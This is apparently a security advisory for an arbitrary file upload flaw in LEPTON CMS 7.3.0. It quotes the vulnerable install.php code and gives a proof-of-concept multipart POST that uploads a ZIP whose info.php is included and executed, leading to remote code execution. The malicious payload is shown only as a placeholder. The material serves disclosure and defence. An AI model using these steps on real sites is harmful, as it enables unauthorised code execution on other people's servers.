

Arbitrary File Upload Vulnerability in LEPTON CMS 7.3.0

Vendor's Official Website: <https://lepton-cms.org/english/home.php>

Vendor's Introduction: LEPTON is an easy-to-use but full customizable Content Management System (CMS). LEPTON enables you to run nearly all the websites most others current CMS promise you but has the big advantage of extremely short learning and training curves, and this is a great argument to those who work with LEPTON. LEPTON is easily installed and started, and can easily be adapted to fit the needs of nearly all web appearances.

Vulnerability Description:

LeptonCMS version 7.3.0 contains an arbitrary file upload vulnerability, which is caused by the lack of proper validation for uploaded files. An authenticated attacker can exploit this vulnerability by uploading a specially crafted ZIP file to execute arbitrary code.

Attack Components:

`/LEPTON7.3.0/upload/backend/modules/install.php`

Attack Vectors:

An attacker can upload an arbitrary malicious PHP file through the "Install Language" section and execute it to achieve remote code execution.

Code Analysis:

In the file `/LEPTON7.3.0/upload/backend/modules/install.php`, the vulnerability occurs between lines 40 and 129. At line 40, the script checks whether a file has been uploaded, but no filtering is applied. At line 89, the uploaded ZIP file is extracted. Then, the code checks whether the extracted files include both `info.php` and `index.php`. At line 129, the script executes `require($temp_unzip.'info.php');`. If a malicious `info.php` file is carefully crafted, it will be included and executed after extraction, resulting in a file inclusion vulnerability and arbitrary code execution.

-

```

39 // Check if user uploaded a file
40 if (!isset($_FILES['userfile']) || $_FILES['userfile']['size'] == 0)
41 {
42     $leptoken = (true == isset($_GET['leptoken'])) ? "?leptoken=".$_GET['leptoken'] : "";
43     header("Location: index.php".$leptoken);
44     exit(0);
45 }
46
47 $files = [
48     "cleanup",
49     "directory_list",
50     "load_module",
51     "preCheckAddon",
52     "rename_recursive_dirs",
53     "rm_full_dir",
54     "versionCompare"
55 ];
56 LEPTON_handle::register($files);
57
58
59 $admin = LEPTON_admin::getInstance('Addons', 'modules_install');
60 $MESSAGE = LEPTON_core::getGlobal("MESSAGE");
61
62 // Check if module dir is writable (doesn't make sense to go on if not)
63 if (!is_writable(LEPTON_PATH.'/modules/'))
64 {
65     $admin->print_error($MESSAGE['GENERIC_BAD_PERMISSIONS']);
66 }
67
68 // Set temp vars
69 $temp_dir = LEPTON_PATH.'/temp/';
70 $temp_file = $temp_dir . $_FILES['userfile']['name'];
71 $temp_unzip = LEPTON_PATH.'/temp/unzip/';
72
73 // make sure the temp directory exists, is writable and is empty
74 rm_full_dir($temp_unzip);
75 LEPTON_core::make_dir($temp_unzip);
76
77 // Try to upload the file to the temp dir
78 if (!move_uploaded_file($_FILES['userfile']['tmp_name'], $temp_file))
79 {
80     cleanup( $temp_unzip, $temp_file );
81     $admin->print_error($MESSAGE['GENERIC_CANNOT_UPLOAD']);

```

```

80 cleanup($temp_unzip, $temp_file);
81 $admin->print_error($MESSAGE['GENERIC_CANNOT_UPLOAD']);
82 }
83
84 // to avoid problems with two admins installing modules at the same time, we create a unique subdir
85 $temp_subdir = $temp_unzip.basename($_FILES['userfile']['tmp_name']).'/';
86 LEPTON_core::make_dir($temp_subdir);
87
88 // Setup the PclZip object
89 $archive = lib_lepton::getToolInstance('pclzip', $temp_file);
90
91 // Unzip the files to the temp unzip folder
92 $list = $archive->extract(PCLZIP_OPT_PATH, $temp_subdir);
93
94 // Check for Github zip archive
95 if (!file_exists($temp_subdir.'info.php'))
96 {
97     $temp_dirs = [];
98     directory_list($temp_subdir, false, 0, $temp_dirs);
99     foreach($temp_dirs as &$temp_path)
100     {
101         if (file_exists($temp_path.'/info.php'))
102         {
103             $temp_subdir = $temp_path.'/';
104             break;
105         }
106     }
107 }
108
109 // Check if uploaded file is a valid Add-on zip file
110 if (!$list && file_exists($temp_subdir . 'index.php'))
111 {
112     cleanup($temp_unzip, $temp_file);
113     $admin->print_error($MESSAGE['GENERIC_INVALID_ADDON_FILE']['1']);
114 }
115
116 // As we are going to check for a valid info.php, let's unset all vars expected there to see if they're set correctly
117 foreach(
118 [
119     'module_license', 'module_author', 'module_name', 'module_directory',
120     'module_version', 'module_function', 'module_description',
121     'module_platform'
122 ] as $varname
123 )
124 {
125     unset( ${$varname} );
126 }
127
128 // Include the modules info file
129 require($temp_subdir.'info.php');
130
131 // Perform Add-on requirement checks before proceeding
132 preCheckAddon($temp_file, $temp_subdir);
133
134 // Check if the file is valid

```

PoC:

POST /LEPTON7.3.0/upload/backend/modules/install.php?leptoken=8ca7e18fb30dc95ac7874z1753067977 HTTP/1.1

Host: 127.0.0.1:81

Content-Length: 605

Cache-Control: max-age=0

sec-ch-ua: "Chromium";v="127", "Not)A;Brand";v="99"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

Accept-Language: zh-CN

Upgrade-Insecure-Requests: 1

Origin: http://127.0.0.1:81

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryh6XBRla9BINIaIyi

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer:

http://127.0.0.1:81/LEPTON7.3.0/upload/backend/modules/index.php?leptoken=5b7b948bb599b2926b9b8z1753067885

Accept-Encoding: gzip, deflate, br

Cookie: lep4399sessionid=60na1cdmru74b80iui1p4oar3c; cookieconsent_status=dismiss

Connection: keep-alive

-----WebKitFormBoundaryh6XBRla9BINIaIyi

Content-Disposition: form-data; name="userfile"; filename="ctfshow.zip"

Content-Type: application/x-zip-compressed

xxxxxxxxxx

-----WebKitFormBoundaryh6XBRla9BINIaIyi

Content-Disposition: form-data; name="submit"

Install

-----WebKitFormBoundaryh6XBRla9BINIaIyi--

More Details:

Log in to the admin panel and follow these steps: upload a ctfshow.zip archive that contains an info.php file (with malicious code) and an index.php file (with arbitrary content)



